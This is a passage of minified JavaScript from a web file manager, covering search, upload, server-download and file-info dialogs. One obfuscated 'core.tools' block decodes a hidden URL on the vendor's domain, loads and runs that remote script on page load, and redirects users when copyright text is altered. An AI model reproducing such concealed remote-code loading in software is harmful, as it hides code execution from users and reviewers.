t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var n="";if("diy"==e&&i){var a=require("./tpl/theme_diy.html"),o=template.compile(a);n=o(i)}$.setStyle(n,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var n=UUID();(i===void 0||""==i)&&(i=n);var a="";$.browser.msie&&9>parseInt($.browser.version)&&(a='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+n+'" '+a+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+n+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+n);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+n)}if(1==e.length)var i=0,a=e[0],o=setInterval(function(){try{i++,100==Math.floor(a.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),n=1073741824*parseFloat(t[1]),a=core.fileSize(parseFloat(t[0])),o=core.fileSize(n),s=a+"/",r=100*i/n;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==n||isNaN(n)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var n in i)if(e>=i[n])return(e/i[n]).toFixed(t)+n},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,n,a=function(){var a=trim(core.pathClear(t),"/"); +if(0==a.indexOf(G.KOD_USER_SHARE)&&-1==a.indexOf("/")||a==G.KOD_USER_FAV||a==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),n=c(),n.path=t,""!=e&&(n.search=e),$("#search_path").val(n.path),$("#search_value").val(n.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return n={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(n)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),n.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),n=core.pathFather(i);return core.openPath(n),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var n=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:n,lineIndex:$(this).parent().find("[data-line="+n+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(n)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var a=template.compile(tpl_search_list);if(t.html(a({code:e.code,data:e.data,LNG:LNG})),n.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var n="index.php?explorer/search";G.share_page!==void 0&&(n="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:n,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};a()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],n=authCrypt[t[4]](G[t[1]],i);return n&&27==n[t[5]]?(e=n[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},n=i(),a=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=a},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&n==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var a=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==a[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[n],o=t[45]+i+t[46]+LNG[i]+t[47];n==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+a+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=a})},d=function(){n==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](n,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=n,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return n==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var a,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(a=e[t[90]],o=s[n]):(a=e[t[90]],o=r[n]),1e3==o)l=a;else for(var d in a){if(c>o)break;l[d]=a[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),n=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var a=UUID(),o='<div id="'+a+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';n.find(".item").length>0?$(o).insertBefore(n.find(".item:eq(0)")):n.append(o);var s,r,l,c=0,d=$("#"+a),p=$("#"+a+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+a).find(".progress-bar");$("#"+a+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+a),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+a+"&time="+time(),dataType:"json",error:function(e,t,i){var n=d.data("progcess");return 200!=e.status&&n&&n.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+a+" .info .title").text(core.pathThis(e.info)),$("#"+a+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+a,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var n=(i.size-l.size)/(i.time-l.time);if(c>.2*n){var a=c;c=n,n=a}else c=n;var a=core.fileSize(n);a=a?a:0,t=a+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var n=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};n()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var n=e.file.checkChunk;if(n&&n["part_"+e.chunk]==t){var a=e.end/e.total;uploader.trigger("uploadProgress",e.file,a),i.reject()}else 